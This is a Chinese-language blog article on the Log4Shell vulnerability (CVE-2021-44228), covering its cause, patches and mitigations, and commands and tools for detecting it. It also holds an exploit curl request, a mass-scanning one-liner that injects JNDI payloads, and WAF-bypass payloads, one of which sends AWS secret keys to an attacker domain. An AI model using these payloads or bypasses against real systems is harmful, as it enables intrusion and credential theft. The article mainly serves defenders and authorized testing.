劍指Log4j漏洞加固和批量檢測與WAF繞過
前言
最近這log4j熱度很高。好久沒寫文章了，而且目前市面有些文章里面的內容信息已經有些過時缺少最新信息迭代，借此機會我劍指系列基于國內外的關于此漏洞的研究我進行了總結和歸納，并且將我自己目前發現的小眾的技巧方法分享給各位，希望能給各位帶來幫助不會讓各位失望。（好好學好好看好好練，我已經好幾天沒睡覺了，有能力大俠的打賞一下用愛發電的我，繼續應急去了~~~）ps:不要未經授權去檢查任何網站系統
CVE-2021-44228(Log4j-RCE漏洞)
漏洞原因：
Log4j2 中提供了Lookups 機制，用于添加一些特殊值到日志中，在 Lookups 機制中，由于 JNDI 功能沒有對名稱解析做限制，而某些協議是不安全的，可以允許遠程代碼執行，從而導致RCE漏洞。
此次 Apache Log4j2 漏洞觸發條件為只要外部用戶輸入的數據會被日志記錄，即可造成遠程代碼執行。
影響版本
2.0 <= Apache log4j2 <= 2.14.1
漏洞攻擊流
最佳修復方案：
1、Log4j 2.15.0+ 現在默認將協議限制為僅 java、ldap 和 ldaps，并將 ldap 協議做訪問限制了，默認僅允許訪問本地服務器上的 Java 原始對象。
2、Log4j 2.15.0+ 現在默認禁用 Lookups 功能，雖然 Log4j 2.x 沒有完全廢除這項功能，但強烈建議大家不要啟用它。
3、Java 已打補丁的版本：6u211+、7u201+、8u191+、11.0.1+。升級java為左邊列出的版本
下載升級
最新正式版本下載（目前最新正式版log4j-2.15.0）：
https://logging.apache.org/log4j/2.x/download.html
最新RC版本下載：
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.1-rc1
最新 Maven 依賴：
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
spring-boot-starter-log4j2 尚未更新，可以先覆蓋其內置版本：
<properties> <log4j2.version>2.15.0</log4j2.version> </properties>
或者也不用升級 jar 包，先使用官方的解決參數先解決如下
臨時解決方案
1）設置 jvm 參數：
-Dlog4j2.formatMsgNoLookups=true
2）日志設置：
log4j2.formatMsgNoLookups=True
3）設置系統環境變量：
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = true
4）關閉對應的應用程序的網絡外網連接，并且禁止主動外連
漏洞檢測
潛在的攻擊面：
?HTTP headers
?HTTP footers
?In response to those random web scanners
?Your license plate
?Under your pillow
?Screamed into the void
基于Linux三劍客命令進行應急檢查
#這個命令搜索/var/log目錄下未壓縮的文件在文件夾和子文件夾存在的攻擊日志
sudo egrep -I -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
此命令搜索文件夾/var/log和所有子文件夾中的壓縮文件中的攻擊日志
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
#此命令搜索在下文中的用于waf繞過的使用的變量進行檢查
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns):'" \;
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
#此命令搜索在/var/log壓縮文件在文件夾和子文件夾的用于waf繞過的使用的變量進行檢查
sudo find /var/log/ -name "*.log.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
#添加 -I（大寫 i）來忽略二進制文件進行檢查
sudo egrep -I -i -r '${jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
基于Windows下進行應急檢查
gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
國外安全研究者額外的檢查技巧：
根據我對 jdk11+ 服務的基本 PoC 和 ysoserial CommonsCollections5 負載的測試，成功利用后受害應用程序的日志輸出不包含`${jdn:...}`. 取而代之的是`BadAttributeValueException: foo=1`.
正常請求
$ curl -H '<logged header>: normalheadercontent' http://localhost/some/endpoint/
<timestamp> DEBUG [some.service.package.SomeClass] - <function name> - request <logged header> header with value of normalheadercontent
成功請求 exploit:
$ curl -H '<logged header>: ${jndi:ldap://192.168.1.15:1337/e}' http://localhost/some/endpoint/
<timestamp> DEBUG [<some.service.package.SomeClass>] - <function name> - request <logged header> header with value of BadAttributeValueException: foo=1
基于容器進行的應急檢查：
如果您正在尋找Linux、Docker容器、Kubernetes Pods上的軟件漏洞，以下命令可能會幫助您。
find -name "*.jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always JndiLookup.class' ; -print
find -name ".jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always log4j-core-2..jar' ; -print
基于網站程序運行日志進行檢測
log4j CVE-2021-44228 漏洞利用的問題在于字符串可以通過許多不同的方式被嚴重混淆。不可能用一個合理的正則表達式覆蓋所有可能的形式。
該檢測器背后的想法是，各個字符必須以特定順序出現在日志行中才能匹配。
下載地址：https://github.com/Neo23x0/log4shell-detector.git
一條命令檢測（用于SRC挖掘）
替換Yourburpcolab/a為你自己的dnslog
subfinder -d example.com -silent |puredns resolve -q |httprobe | while read url; do case1=$(curl -s $url -H "X-Api-Version: ${jndi:ldap://Yourburpcolab/a}"); case2=$(curl -s "$url/?test=${jndi:ldap://Yourburpcolab/a}"); case3=$(curl -s $url -H "User-Agent: ${jndi:ldap://Yourburpcolab/a}"); echo -e "\033[43mDOMAIN => $url\033[0m]" "\n" " Case1=> X-Api-Version: running-Ldap-payload" "\n" " Case1=> Useragent: running-Ldap-payload" "\n" " Case1=> $url/?test=running-Ldap-payload" "\n";done
log4j-detect（用于SRC挖掘和內部批量自查）
它使用線程（更高的性能）向指定列表中的每個 URL 發送 GET 請求。GET 請求包含一個有效負載，它在成功時向 Burp Collaborator/interactsh 返回一個 DNS 請求。此有效負載在測試參數和“User-Agent”/“Referer”標頭中發送。最后，如果主機易受攻擊，識別號將出現在 Burp Collaborator/interactsh 有效負載的子域和腳本的輸出中，允許知道哪個主機通過 DNS 響應。
需要說明的是，該腳本只處理DNS漏洞檢測，不測試遠程命令執行。
下載地址：https://github.com/takito1812/log4j-detect.git
基于Burpsuite被動掃描檢查
BurpLog4j2Scan
BurpLog4j2Scan 是用 JAVA 編寫的 Burp Suite 擴展，可用作掃描 log4j2rce。
下載地址：https://github.com/tangxiaofeng7/BurpLog4j2Scan.git
Log4j2Scan
Log4j2 遠程代碼執行漏洞，BurpSuite被動掃描插件。
支持精確提示漏洞參數、漏洞位置，支持多dnslog平臺擴展、自動忽略靜態文件。
漏洞檢測暫只支持以下類型
?Url
?Cookie
?Header
?Body(x-www-form-urlencoded)
下載地址：https://github.com/whwlsfb/Log4j2Scan.git
WAF繞過技巧：
簡單的攻擊者腳本（可能的 RCE）：
${jndi:ldap://somesitehackerofhell.com/z}
許多開發人員開始屏蔽關鍵字：
?"ldap:"
?"jndi:"
以保護應用程序。
1.關鍵字繞過
但是，攻擊者可以使用以下技術之一繞過它：
${jndi:dns://aeutbj.example.com/ext}
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.mydogsbutt.com}
iiop://這個協議老外發現但是未證實可用
2.系統環境變量繞過
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
來自 Apache Log4j 2 文檔： ${env:ENV_NAME:-default_value}
如果沒有ENV_NAME系統環境變量，則在:-
攻擊者可以使用任何名稱代替ENV_NAME，但它必須不存在。
在 Windows 上，您可以通過編寫以下內容在 PowerShell 中檢查您的系統環境變量：
dir env:
3.轉換大小寫繞過
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
Lower Lookup LowerLookup 將傳入的參數轉換為小寫。據推測，該值將是嵌套查找的結果。
${lower:<text>}
Upper Lookup UpperLookup 將傳入的參數轉換為大寫。據推測，該值將是嵌套查找的結果。
${upper:<text>}
4.使用Punycode 編碼/解碼進行繞過
"xn----otbbvhibes[.]xn--p1ai" with russian or chinese languages punycoder[.]com
比如其他語言...
1.? - es
2.ü - de
3.é - fr
最后附上Log4j的一些關鍵字用處自理
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}
參考引用文獻來源：
https://twitter.com/h4x0r_dz
https://mp.weixin.qq.com/s/wt4RJch_Jy0szUlRYhYNbA
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
https://twitter.com/stereotype32/status/1469313856229228544
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
https://twitter.com/CyberRaiju/status/1469505677580124160
https://github.com/jas502n/Log4j2-CVE-2021-44228
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
https://github.com/fengxuangit/log4j_vuln 漏洞靶場用于演示
https://github.com/welk1n/JNDI-Injection-Exploit.git 用于協議攻擊接受反彈權限
